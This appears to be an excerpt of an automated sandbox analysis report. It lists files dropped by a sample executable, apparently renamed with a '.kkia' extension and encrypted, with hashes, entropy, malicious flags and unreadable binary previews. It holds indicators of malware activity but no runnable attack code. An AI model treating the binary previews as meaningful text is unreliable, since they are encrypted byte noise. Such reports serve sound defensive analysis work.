SSDEEP:	1536:zn8FumlL9bthP0ANg28aoKxuN0f6hPULdgtcNS54:bGuunsAB8aoKxumf7AB4
MD5:	255F9196CF73A7CDDE4D1CA39EEC23C0
SHA1:	E6CD65DFC28389E1B8EEC5162E78DF0D75EF1DDE
SHA-256:	223FD699511B7317BB03F91ACE063E976D853EB16430AF220699B1CD31FB5134
SHA-512:	347638A6DFAEBE0468CE48FCF1DFD01090E771FE312ED6464A8E65F85206F7E9FB340B20C3E32C4410CC22DC0F7AFA97A98DC57A02FB28EBFE746E672E200E8D
Malicious:	true
Preview:	{"ram..[qJ....:"U.,"&....[e....eRR=.N..X.y...p.<4... .....n`. ..Q....Wid!.?....&.H......=9>.."......C..E....6.7Pq;.NJ.!....v...{.9.,c..1[Q.73.{....`Z.... t.R.-=..^.id.o#..,BP.=.C...M.-........&.......).v...P1.{X...C....{.R$u..P....C.5..u>.&...a.Gept..M.. ..?B......s.$....... ..n.zLJp..........`..R[.[.[.$CDYSC}.....+..W.2!._.)..R..ipj.A.Z'.....95e.../..%..a..a{.......0.k._.....y.mf..._....f^......O...!..U.=......F..If..r".....K-y}..J_H.r,\d.y.m.O.?,\.\|.c..:.Lf......h.L..hd\'P....1...U..D...C.x....5.&u.A9X..#%.... p..P.(....L.)I..0.;..A...8.:..a.'.,..........OG.Ih.].....-5.5..0..'....C.,..%.5))S...L.....u5..]...1..-.b?.l......9...._..p.......t..`.t..........g..THA.H.;.../O._^.<z.Y.,.Si......CK.ma.=...._....p!O.F.Fw..;.M5O%1<..i....v...gE.A6.fO..]..TnI...u.9..8<.n....i*..b.H..g....[5..d.. v.h.y./..a..t......,B.V.u.N.........E..YD.`......<p.D..i{xa..X.v........a(d%.r=.+..l.....L$f.al..4.P....^ .f....pAS5b..\e6;.T...G].f....\.-..

C:\Users\user\Local Settings\Temp\wct9C21.tmp.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	65188
Entropy (8bit):	7.9970849058755284
Encrypted:	true
SSDEEP:	1536:Y2LZYguiH2BzBcPs4RPclchKJim27tdlf9g5nKC/R0MY3t7:Y298iHYGFPzc8meVf9g5nPR+3d
MD5:	95AACBD1AC1FF3FB10B53EF5021A7FEA
SHA1:	DAAE08120EC2B5FACE8E591870439AFA7A4B1859
SHA-256:	D2DDF00A368B1BF6D1407DB5A8BE7C4ABFE3AAD5B104650A954EFB9F5C030626
SHA-512:	65D23C30543AC1D7151597BEA5BB8D273E4F9C2AC57985BA2617D2369C5FE53CD76993F208FA95B590BE7ACF6D273E6BB564BA41F3CFA38FDD33F2CD2A3AD248
Malicious:	true
Preview:	{"ram.)....%.."+.j..P..D.......\...Wp....{.4.6....lU.<.M.I..P`\|<..\5..2.s.\|......`g.M@.Z...w...}Oer#_... ..{........%e.o.f.W.:...\.....i.A.a..DLyYr .6T@._..2'SbQF\|.~.n.Q.p...,...U.....i.K.....O...b.`.CGy8$....U."./.H(..dS.vi...j.... ......s@....D.=I.mdV(.5\|f.Xm.3...e..[...u....Eg@u...R.....j.BW...a3..}D...(.<. ..sc..k;_?...2.R...0....\W.........%.R-...x..f.........'.8....5...LP.P..r...4....g............T...B\|./...o..D.h...8......w.$.A.h:......{N........V........M. .{.....A...nw.K.3y.w/....nDhL..R.H..<eo6...L\.HA....!......!i.7.e...b\|Q.{JP.!..#;...e.......0........!C]...G)......7..........v...o.=.n.,..84Bv.I....AiM...>f...\...'.6:..2..l^)s..m..sBa.R..S..a.....}mI....n.p....r.J....k...5..N.Y.s.l...xX=...........].'...~n....q.1....2=.....Fhu..}i.\.wcCB."]..>..B.-.E.%Bo...3....+>.[X...f=..?.W..cqif....A...>.=.J..o.}...$.}...s.^.bu.r.qzM..[...\.L4*.1.V.?.d,..>o_E..I3q.".)<...4.a.g.....b.6.....G.}...}.?........\|&G....<.<..Aq?\|Y..KF

C:\Users\user\Local Settings\Temp\wctA2D.tmp.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	65188
Entropy (8bit):	7.997195951847478
Encrypted:	true
SSDEEP:	1536:5ASfzV1JMJAxuO+BuKJnXYX1ijUq4jT7RXX:tLV1CpOouKVXE1QUDXX
MD5:	FB89BF14A362BCA9491174B6B9906E3A
SHA1:	A1294EDEC3EE532132A8390B2CEBA8405F2B465A
SHA-256:	4691A2ED1D48204828952AA4308E996609FC7638654F63EA5E98711AAB6C52D5
SHA-512:	8DC7F5F251231B90DE4B79FDAFBF28F856049A1AD849D6FCCA277702CF14BFFFD8CDB24C7CF076FE144E9AA4D10BB5CE0036AA5A1F1188A769C44F043DB17219
Malicious:	true
Preview:	{"ramg..ywO....d:.)..1.......q..!"Z=Ob.....N..F.t..ek4..t...>..u...3...............?nb.q..S....q...<^OHr..}.X!.....WP.......yn.k.!..p./.kr#...E.+....mDm..M9.0...\...;%.\y.\|.....X.....[qH>w\|WH.......).g..r...w9.I9.... ,.......de.fl..(...w....^...............'.Z-..0m4..X.2%.hS...5.9{\...Y.0...e..E..?...D...,.....2B....w...SV.4..$..usV..6....9.._h..0<.V5.Y/...R..9.n8.%<....Ny........?zK.-.+..e...4W..U&.l......v.Id.C.;.[._.=..^....>...x...HM.$H.[.....DU..........S=^w2;.}..#..?..../....].1.. ...F9.cC ....t.WL....5q.:.J......".GO..N_@..>u..]O...Q].p.J[..y32..i..y.......%l9...P...nq\W.?....q.y..2.9...d.....k......p&..}.w;.].gs3..@.i.<.X.........=D);....;...>G?..Q....>.\|y9.:..{Z."...5z$/8~.?....f.2........+.Fb....Xm.nE..^i.Bo..i......1......X ..,.>.%...~k.%..@J...[.y...;.r.G.P..BIx.......y...........H.....Q..>Ub....?n.......*fy.Z.q...Dy...y....v......g..........x..j.s#.YZ..}#...N.....#..A....$..g^.l.?..^D.....E..6.....q...7.2m.....z:A...8ns..h

C:\Users\user\Local Settings\Temp\wctC19B.tmp.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	42164934
Entropy (8bit):	7.947664595636933
Encrypted:	false
SSDEEP:	786432:IwQNeYDxVRrMPJy7LVV4NDDmdrZy9wOtg5gGOdjtjSNu4GIluUNj56I59D:lQcWxDMPnN+dk65gGUjku4vNjLjD
MD5:	04DDE99D7F37EB9A8C34A291EF27D992
SHA1:	DAD48FCE7CDCC0B9C33553192BDCFD3DA2F33236
SHA-256:	25BD671A1C901B3F029842EFA793E32AB5E7E8688195C24819185CBC3CF924D6
SHA-512:	14E0E02ED2B44FD984B20CE5320D76036058C5DF3C7702315DC0DA036FB6F0829C416E75B76360B3C373CA37097FC315B89A446BDD29A118A1DBB817E979B70F
Malicious:	true
Preview:	MZ...}.%(.........#...4h....K.@...\.\|~...-.}O....G.R... .......-.<7...&@g.EdvtlL..;.c Fq...c.>d8.Y...j..a....-.]0..\|d...r..T5J.>..g.q..$.i......O.@.=.{.Y..M.7....S.GwZ....w..NR[N).k.&............<......Oj.wX.^~. .Q.o. .S.RJ.\?h...7..{..l....z..16.O./.Q{...@:W=f....b....]}..jY{..T4...oY.....@.M....<"{&.BJ.......a.......zE-......N.-..1.....d.\...%-...g..E.8L..H.'xf.xL.....~...4.%.M..e3..23....(........Xm..0..I.R[....w.Mz..)....._t.....Y.K..q..:......^D.j..=..8.]JV..pW.1-..$.v].D.6_.9..4..1J..5F._V.....).r.. a.B0..Z....a..A......+.YI..'...~N.b......K.W.TT'Kx.c.T....J..Mf-B.pM.%RY..y=..$..'.L..7............vT.?vQ......H.7.K..c..X9.<.+.;k...@.......M.6...=.l..U.>$.{.....D.9..C...".v..&....1...~M...xB.G ...f.)..O.&.o`.U.M.F.....1........R>m......y.....\|..."Wp.V..K...fo..d..N.l..3..Z.Kw7.......r4dq.....!./J.Z.g+.&8......0.7.. !.x..Y...\|-.....?j...O.~..i.....j....\|3.v...L.>......j.O....j.......Um.cD...F.5...f...1...gl{".,3.d....

C:\Users\user\Local Settings\Temp\wctC72B.tmp.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	74526
Entropy (8bit):	7.9977718540238225
Encrypted:	true
SSDEEP:	1536:y1XGHXD/ykdPsz2rIjZfaunFHgyJvhFmz8VFOR2Uh8qNPNn7Hr1ggK+C+XtT:yqXDakdUpVfaunasv7mz8VFk2u8qbnHX
MD5:	D71EA878848D00562D00AA51BF953DA3
SHA1:	994042E138C41A10AE4949E68768AE48003C364F
SHA-256:	020D63BCD39E13B676630806F87EC0E17C63E70801682B94EA8D1281E3CD5064
SHA-512:	9E6B5AE6BD7D8FAE2D2FB71960D8EB5747E85229A0F39E8C882D97F2A9C2736739D4C596D2EA7D92E9E8DDA209D7E70002498012C5F7A59D1DFB30FC79615C05
Malicious:	true
Preview:	{"ram.....,...Sq.Y..n........T..cr.Q.o.V8.OyGG..g.)'..v........V.?..EY>...t.,.{u....y..q[.w...\~..d....3e.6(w]...#.u.'X..../.....iCN.!.0....`Nj._.v;zk.........h..............,........../.....8Y...P.,.GSVw......om>.WaUZF...V;..t..yV.\..7..I..6.?e...6...:..V.x...{.....N..&....o.3...J..(xtl.9.5..v.A.2i}J=.n...rq.....Z.......%...o...;Ut9I.......0......Z...i.l....w...g..XUm+....3Ouc1.F.{\|.5{QU%.a..`.Q.......l....../...`...@V...<..T..4v..uFd!x...1Ln.....P>...3..zg......NwU%.N.=8..<....9.+..kf.C."....u..N"[.A.....rgju.j.i"....i..e.."\|....p"..........!/..r2.DS.D..:...{..M.C......r...5=N=O.....q....xZ..H,....0:U....".L*..;,....PgJ?q....v.D..(.o........m.05O\....USMy.s..uJcD.ss_..F.Q(..u4...q...7.....^..]...D...V.^\..mWiJ.a.j".,....d.[N.F...y$....&...k.........ok.U.&.}...U....e-...%e.\|.Vv.nI........Xc.v.O...\|.E.....g.R#.o.@.k......4.F5..........z..xx[Q"G.O..+.........r......).!.-.X.Bf...D?......Th........ ....Htk.GG..9..Q......A.VP...9..m

C:\Users\user\Local Settings\Temp\wmsetup.log.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.805659732670408
Encrypted:	false
SSDEEP:	24:tUUtHZoYAEQmMIn7IW5Yuf+l9uTs/DBFRWT3q4i0KLZqCdwb5kbD:RqYAEQmLnUAmMitulKtqC6gD
MD5:	6D84B96F4C710DFED4F82D4AFCDC6062
SHA1:	25D43FA376C50CB28EFD1BB46146CDC355D68592
SHA-256:	58F2B59276A83ED28B2CF0A62422A1651D6365A731C71DB759F3AD4CD0740630
SHA-512:	213FDC5C90FD35302CDDA64ADAB46A225F6066422A77296A21E7AE51F624AD4197A195F680C8EA1CE91727860BEEF86EE503425DA9FF759D3CE335C7262EBC47
Malicious:	false
Preview:	..[*W...G..(..,&...#...Dt.."3.U\|..M.w.-=X/...........;^.....=..a..".....'.>.^..6o(..D.@.....I:...i6.&..}..C~F.T.c"{r...]Q.bV}.5.].pg../;vT..}U.t....t..>...m.H.b..36.C.B.6.c.K...4..%...m-...r.Z...da...o..?....h.b.D\|.y.ED.8Q....9R.i.....D-..0.}..XQ.K_..p4...X..!.....(....y.O.eI. qL.Bewm-8...>..w..>.QOo..q...-.CiWy...hf......3d$.e.xx/....#\|.9..p....,.mh.....X........C.E.v....+...P.%.b....._..bU~Q..@..L.yB.:".l....s.R....w....!...].J_....EYV.i......I.<..3...8.....F.....$...]6 ......!d..g.....'.jb7.K.A/..x[U.O.M.N?....yz.?.O..F.....v..W.........W.)9..g....hB../.!#..I.........."\...I.m].3......w.i..F&..8J.@~...s[..>.H..:A4.v.7..cU..e....k?......ZW.8.....u..o....d6...m+..7..d..zRyZ.R....8.0.N...c(....K.v.B..o..E...Q.[,....2sk!...D..R.p^S....P..?..7.pe....G.,..\|.A..'.&.Y}.J-ZZ.).....g...N\.6#.../c.q.i..._.?.#.$....z[...w}.Mu!..;.la........`;.3.......P`.&.m...-...5..\|.tF............y..hZ.....K..wbV...p1.yn`dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698

C:\Users\user\Local Settings\Temporary Internet Files\Content.IE5\GIBVL2EB\Windows[1].json.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	814
Entropy (8bit):	7.6995697733205954
Encrypted:	false
SSDEEP:	24:YrJTMzzUev/KLoX/PnkqPjlCn4acXv94kbD:YGzP/KLg/vPCrgD
MD5:	21FFE493D6C368B8B546D4CAE86F355C
SHA1:	6CF6F815C950ABEAA55CEABCC463DCF604ABAE1B
SHA-256:	DE898A5956DC9558DE9D799E7B167A9A27CD7E1D06C764FB68B1A7BABB9BFC11
SHA-512:	9EA42FC9430F013BBF37CCA946D6D4A5A6D11E90371415750832BA7C718718B205C45EA6664270C1AA16B710FD908A02EC2A9D1D92816DB9A83AA3A1865E6690
Malicious:	false
Preview:	{"serw.....1. ..t................}F..Z.w.M.D..N.?...R.]].T..&.t.q..~6.tu..HG.).-.......'E:.NFL~.}.8`..YR..S5.5J.Y&..y.T.5...5.^..bk..`.4..K.@.5..>..yB....]..f...0..?i.[...cks.v.4..H.d2 `;...J.Z...Z.....&F.r.j..yu.s....%..^.3l.']...a..)S....{^.\|.(@..!.i....3....\|.lT-.<....I +V:..n.A.z~e..=.i.%.aR..j......uuh....\.2.H........q1.s)..I..N...V./.I".>....E..\J.}.;X...S..3;...:...UE.w.....,b..%....v4/..hf..q..Y....%0n..u(..._.N:...he.r..I.I.l.X...#....A^....bC.:j..../'..R.%f.U...x.V..[T......q..[6$6..E.....(...'.l......E#`-%...x...O....Fi.9....s..M.j0..EP..?..~C.../..~.../]ZQ......3a...-{:?.p.......6.pM.....v.6...+K.BZj.*"...#j=>.)..R?I..Id.)...@#.m......_...n...Qoa......R.>~.z..Y.4l-.n!Kk]...4..s.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Temporary Internet Files\Content.IE5\GIBVL2EB\oneDs_f2e0f4a029670f10d892[1].js.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	190486
Entropy (8bit):	7.8575145803852875
Encrypted:	false
SSDEEP:	3072:y95pxNlnGXmk0E16n8m3wBZvrtQ0BgxCQdUjtaW8OS9Lkgu6BeqNhL+rUWxZ:ipxNv81S8m0Zvx76xCQdUxaFv9SUek+n
MD5:	63770A8979818BD4F5C025321228CDDB
SHA1:	D2F606526A75ECAD82466563F98713BD7662206F
SHA-256:	FF40ED29EFCC6D94F0DA69B2552C81302D6407FD193BAB4EB908FBD11080FD99
SHA-512:	BF9D33666A6244886AF4F72342612FF8EB8F3C9B3B6A237D68B0D4841E8B82ECA7C76FC9670465F1482B1FA41E7433523AA725251A92EFF9EEF75062E6B896D1
Malicious:	false
Preview:	(wind,6.N.,.V.....;...}Pnil51aD./...C...z.{..F\|.e...1..."........2...U.-o.._HnS<G.S.Q.. .a[~_.....4EO...B.Z.R.."&. ..z..r.E.)....6.....2.'.$...h.....0..sjL..^..b\|Y.C[G.d.&..8...F.&..........y.5.%.Q.E......Q.-.X...(.\|.{......L..l.B...<.I..HIG....j......W......Qi4..G.;bA.'...`..Y..Q...n..{.. .]T...]..2.]....x.Qo.6...db\1+..:.X.4..A.77..h:#.....\|.ks..Z.v..y.4....rInX..n.!.M..1..B...y...[.q<Y=..G.....]H......p....R..._...9J........uNc.g..n..;..N.&\..X+WF..~..\...5....<.{L..&...~.A.a@..C..z.~..e....M.8.)..l.l2u0....=....&."...F...X....W...d..0.a.7H.........\.+.E.ik.....~Q.`.y&.zv]...tL.c~..z...O9...8....\..........-......E{K..]...n.9.....}.<E.GAF....q...l/v.z................i!q..=./X=..6..r..kv,=.*.C{...!.K...Q.#...T.&......q....U...W.:...!......4A....&,.+.%...Y....CF.,........L..`UW..k......).i.EoOd..,U..2.I.<.kjzr. !..`...).M..!C.@.\n\.{eFZ...@..CY..P..]...T.%...rF..sa.`...B....&(b...rDQ.....Z....E%.O4.\|.:..{. .F^...........A}.t.o..

C:\Users\user\Local Settings\Temporary Internet Files\Content.IE5\GIBVL2EB\windows-app-web-link[1].json.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	432
Entropy (8bit):	7.383168986222805
Encrypted:	false
SSDEEP:	12:ltXn0kPk3WwWMx+w25P+d3z3XBKWzrPrgcii9a:HEGkTWMVKPMTXJzkbD
MD5:	047BC1EB204397BD9F92D2C2DDE9A6CD
SHA1:	1C32C14AB62EA758906316B003C513D312FA5CF3
SHA-256:	E6886C05E406436FA592E6F7A88DF4EDC8C8E6596221500B7F40A42559253F0F
SHA-512:	3EE5ACE7F0B213E3F0BB2F09A4D36918218A09E63803D1B1B6443523C74F291F46527965914038CBDBC03F04669546454FB3475ECEF9082B55F0BB1529C48619
Malicious:	false
Preview:	[{"paB_6.!E...Q{R.p.n...kU.L...~..1.....g...$.3.bS.0!.*Eo...8p.gt?.z g.J.R.8..h..mz..r.......)\|EW.....9...Aj...<s'...+S.f3.tO"{.....(0... ,QpXR..:..:[..E.V%....D{B...o..\.R.......E.7........,.....+=.. .c..{).[MF:y......f.>]...-8..9.?.E...;HW..'...,......~c.o.T...\.PO..K.e.....>..7..^.P..:.o....-z..jj.M:....B"K.}..~.v?.?..Z%xA7@q.a..h.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Temporary Internet Files\Content.IE5\GJ1F663Z\ConvergedLoginPaginatedStrings.en-gb_RP-iR89BipE4i7ZOqiqEgQ2[1].js.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	36937
Entropy (8bit):	7.994530293238728
Encrypted:	true
SSDEEP:	768:2SMCVD8WyFqZ5ond+p2zwdNG3AHtPwGJ8twLcl4y3EzKQ/VBzH:r8p6U+p/dNtIoJLcK45Q/r7
MD5:	0E61ED60C1613313ADF9A0BD61DD2D85
SHA1:	C034CDE7AA1CAB75509EB2710CFEFFABFFC1BE0E
SHA-256:	285315773147507B5793407EFC9D0B2F263BD4E5D8E3D53336A190F7F34E894A
SHA-512:	D7206598F16CAE9DA9B4B7D9CD162341B428D59CA436B86A0A3370591FB370B26DC9F755986A4F3A4B2A3ACC2D80978A8F5065D124CA1CDBD2EEC63D63BE2185
Malicious:	true
Preview:	!func.V..>..~.....QX-.##_....Y.V.t..M.Ct...].o.......+..#ax.Cw....J.... .-.Y+T...W.W.....1v..2.g.i..Y...eK..%.6FF!............^..........Bz..l........[C..;U..o.....%!N.............L..sV....;....$..fD...}E.j!.....[..~G.QY..<H.!.....f...+f.gZ........x.L....6.......(a..+G..l...#..p..G....(....H.%.A[...'....8H.e..k.-..~ f...c....X....A....^..K...~.2.F.T..t."....B.... ...F.[...%.sM.!.."]...r....p..@7..uAM....u.:U#.X..R.......,M..p\>'+X.b...F.F...H..2.8>8.p...7.H..7.....==.`..">..1.....0............2...neRQ..R.R..,.}.8.`...Z..X".......5/...14..^.Z.P2...(m.9.F.......B..&#qU...n..Q.....j#.>.".....}...-b%...`~.3..VD.......0..c....mY)R.]...'......>"..6...-....y.z~XF.k...4.y...'.0.......P..Y$....}K...X..2....P..}%h.B....MF...+..h...5....Ier.-.7.......F#..8...?.Yw... .%.o...m..e....C8.H..........k:.q......&..p.Y.6s.O.....Q...aqp......QV... ..n?.....R.Vy........T.....m".8^r....L.....$....ra.j.b;$.SL.O..O...K../..kA.Q.k.e.0o.M..r.R..6.........6..

C:\Users\user\Local Settings\Temporary Internet Files\Content.IE5\GJ1F663Z\PreSignInSettingsConfig[1].json.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	74526
Entropy (8bit):	7.997542378672595
Encrypted:	true
SSDEEP:	1536:eqWV6rPXYSR1o6Q8TjZNKwI+rx/q7IUQxpDYGh122NeAEpc2DIAvuuJ:eqZrPXYSR1o6NIwIAnRxpDV224Rc2XJ
MD5:	15BBDE1DDDA23F8CBDA4508404C1936F
SHA1:	F9557E3FA6605761067414D50CDAC183F6BD22E4
SHA-256:	2716431526443BF8A3865BC51391B9C78B76CF6EF3B502A513523E0A0DAA16EC
SHA-512:	C6D42E39DE5D7D597B3A1D849C9259EE08C19C2D0C686625192D85441F04796FE4BEBA76D4BD7CBD37BE5ACE2C8BE0E8F260BBB29AF6479A35CE82105097ED15
Malicious:	true
Preview:	{"ram.p.A......MT.u%.U.T....B.;!..U..}j.!k..9.L?.]...,:.).Td..N....0....r..E+,...A..c..&..G...a.j....fR)Z...?........zv.s'.p..cKXN[...r...j.)_......k.t3.V.W.7.R.iJ....;P..-.F..h....lO...4%..SM.}.c..4Rg.$#.nl?...3.....h..d........rW....,....I.E"...z...2...R.Pb~..........<n... ....9/5@V.=..9a..9B.....<.r.)'.].W&uG.`hi.W.k..E.i.......QTBtl...m..]H>:...r.....T.....v m....+3l.1...6Gf...w.q...(e,V..V-p..F.YQ..~Y"..m.H:......k.....u.:.........)6<..9.7......wz(...X.[.3.8.n.n..7.....%d..!Y.A..T'.. .k.......q.z...MjCM.X..b&@)..k.p..Js.. E".....A.h..f1.K.z.I@_.V..P.u.J. .....lxQ.f.g..<H.5.g...{.Z..L.=..{\.....X'.QMF..,..a..f6........l..m.,2..g#t8...]g.... ..U......q....T.{.....n.....H.7...P..e9cF..N.).QI..`gC.k.q.n.'.p.A....`...-...u../.V.....5N_.c.PH.......I...:..a.o...u.........1J.j}..g...:C......,e...J..+[e.......uj.I.K.PP..J.i..k;.s.....1...0.........[..1Mf....d1......(...C .]...'..[.GU,.g...S!%0j..7C....."F..O...C..T!....N.g...jrg.o...wU......c

C:\Users\user\Local Settings\Temporary Internet Files\Content.IE5\ONMZACOW\741e3e8c607c445262f3add0e58b18f19e0502af[1].xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	3793
Entropy (8bit):	7.942681206309562
Encrypted:	false
SSDEEP:	96:QpQ5s5t7QiAv+DWC101y4nwKKaDByGbY1Km4xJ:Qpgs/ciAv+iC1DLL8iK/xJ
MD5:	E2D4E0FDB677652A725CF8BD357F3DB7
SHA1:	39453CEBE4FF1E774081E2941F825E4006C691AD
SHA-256:	B43F8D56E046F11C3ED25CA8B1ED7D352563630F13995C4D856AC68BC5172052
SHA-512:	5B5D05F267557C40CCC73C1956107F789343A5D52FCC466E2855CCABA2715CC153B7EE47A30A32B3D6AE6E678623CDAB2A43E4B21505D7BCECCC02E36E686C6C
Malicious:	false
Preview:	.<?S...l.I.R.<.d....t..Q....2._..?..}...P.O.7. X"1..r...A..\F\|.u...?]F..................C1.<;?...2h.lW...R.z.B.oc">.:....v..b.n..'Hz...L..^32#.$...E....5......g.......A.0..i../.[m.B....K.K..N..S...M.t.....3A..].:z.pt.V.:.1./...n(xj.qx..G.hX<h......S5.:r..E".0......\|..T.E.4......J...\D.Zw:.!..M...#._..3.0...lw.a...ID..v.........X.9Uv{........9.C.q.k...R.5..r.+hy.FM.......Bo.N..T...h..8.t.. ...O)m@...i.....)Gv....M.....1.Z1...U6;..i.....1..(............J.8?......=%.\.<..,......U~.Z0./<.&.q.#.i...V...s&-{..J.....9^. 95..W.J...M.........7.@.V..2.!.[]7J.....%.....\UJ!.....a.1x....../4..g...Wg.R..8.B.3k>l....C.....7..&.t.f2.x...v.;.u./...;!\|0.....?....;........@....T.......bO.6[#.(u...I...n4.?..E...yW.;.#x..f..v.P....z.......G' n..u../Z.y..x.....u $b.A.~./.4.H..zN ...x].. ..%<.0....R...viMG.......Y..$.......B.~\...~...T...E.iW.m'....p....'.......r....zv.........GT...[+.%.y67u...RO...W..Y....m......T...Pts.a..;).+.....Tlj..Zy..V.ym

C:\Users\user\Local Settings\Temporary Internet Files\Content.IE5\ONMZACOW\ConvergedLogin_PCore_tSc0Su-bb7Jt0QVuF6v9Cg2[1].js.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	416128
Entropy (8bit):	6.913262717291051
Encrypted:	false
SSDEEP:	6144:oqhPWhiYVKEq1xdL6EJp2mQI6UlP5DAB+sQbTWtq2MfEmM5xEb/PdSJg:PhuQjbJz2m/zAhQ/WIMpq
MD5:	926C988F4EB0DD5ED85DE032C7E3283D
SHA1:	F7F0A3648E5272677990A604B253F420FA5C0D30
SHA-256:	312E909FCE9ACE0C8F35B21C69CBEAC04A8A10B4FC0047062F23FBB87F65BD2B
SHA-512:	7A4FB4E99DAF82F334BE98D0F177092E6548CFEB0A82D004E4748397ECEDE6C1F58ED7D30A27C9688D92FB6E56213979127CA8C71AA46FDFF04F74BDF89983C4
Malicious:	false
Preview:	/!. .i...........v..$.........d.d....BK>"y..._D.2..........x0.....}..Ju...<.......!.!^z..Y0..gg?TQ......@.].[>3@...K...l.^.u...<.2Y.........5.o.8..le.W.h...T....f...BE...R..jx.....'.1il......}1YE.......Z9.,.qA-.v.(......v.r+.Kun....C...rW.t.v..Gu..~....Y..r..}.(.........d!.TJ.`.....2..,%.jl....i..n.......o....6C{.M...\|..>7..LoV.g.Y#I...9..)....4z.).C.x/..+O...#b5Nug..(E.M..KG..g(...I.XE.....D.....u...}..5......>y.V.$.].....k.."#~......2......>Zk.0!..\|...,.Bb.Du.H.}.Z (+..>}....4.!zo.....%izA.......DD..ue...e.. .......dP.N..;.US......V..u.y;D..V.2+...l.P.e......1....U.../+.Q.$...,..+....I_Q...../N....\|..=.B..s.{..:u..4U.o.&...S1^..]..s......BX..=..N....^.$...>...{......5..l%zj\.<.."?.K..<....<.KM.g`b....L$.....8......wgrcm...0.1...aA.34....L...e....s.._sH. ...:..F..\|b.I......'.m......U.....f.-...S.<......^C.\v-q..c...dU#6O...2p..*.AI...]..z.D.....4f...T[.....t[Y..h{j....UG.;YQ...P8....8.....8.I....8...D..V`&..<...g?....<....kRm

C:\Users\user\Local Settings\Temporary Internet Files\Content.IE5\ONMZACOW\Windows[1].json.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	814
Entropy (8bit):	7.702412688954093
Encrypted:	false
SSDEEP:	24:YprAKlEzZDk+qm2Bib4AFZZ9xXRemvSdaDYUfURRLkbD:YeRb2Eb1ZHRfvSsDYnRaD
MD5:	FC750E3B276470CF03BCF9FFD22E0F4A
SHA1:	F537579E14F80E2118695700F3AB275AD0846640
SHA-256:	9273FA178B773CAA11E1A6D890A47847F642A480A349F6E445ABCC37960DE24E
SHA-512:	2E40A8B044543278C10D4B19BC1D5CF520A92D7592961F438D57EBFE956F86605B44680857580AE335D58D87CBCFC0F9C31B929A39AC830F7A8A5DD7364196B5
Malicious:	false
Preview:	{"ser....m..\....v....8"w.a+}.4.3?q...\J.gG(.'t......j.ENj~..=....G...`.........vA..&].BwF%..a..`..suu.T.Te........i.k..0.e%.Y...........e.%P =....nR.....z.\i....!C].e>..>.u.P!.Q..q(...Q.v$.].Zkv_x?C=.gK...c.=.6q..`.n...D..2qf.S...fz..]g..y...T.<k.=.U.Y.l&Z..E(OY..H.E.n..T`l.&..W.@x....t...B0...-7...W.W}.9E.oB.^..d..S.>.j5R3M...N5.w..'Z.......3.P....-z..&..c. +.o.$....sr.\.?.3@.uD....l...).{.Q..aY..2.?v....\..o..y]....rSh.;q..t;....LZo6p...bF]!...D0.../.lt;.m.\|........72...Vn.&DO.....Vr...2..8y... .;n(.7...:.......N.h.n.R/>..M..$.}..6...&....oAJ..+] u.uQ... e....{...st.!X.<.Yv&(.;.Js.w.X.MP...).....%.n....<+.O.lvh!.r`.!~..5Xx..].Tb&.$0.p7........WUNS.....b>Q.M1.xP....)......?dk=W.....:!dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Temporary Internet Files\Content.IE5\Q8X2NUFH\Converged_v22057_4HqSCTf5FFStBMz0_eIqyA2[1].css.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	110785
Entropy (8bit):	7.998617662168805
Encrypted:	true
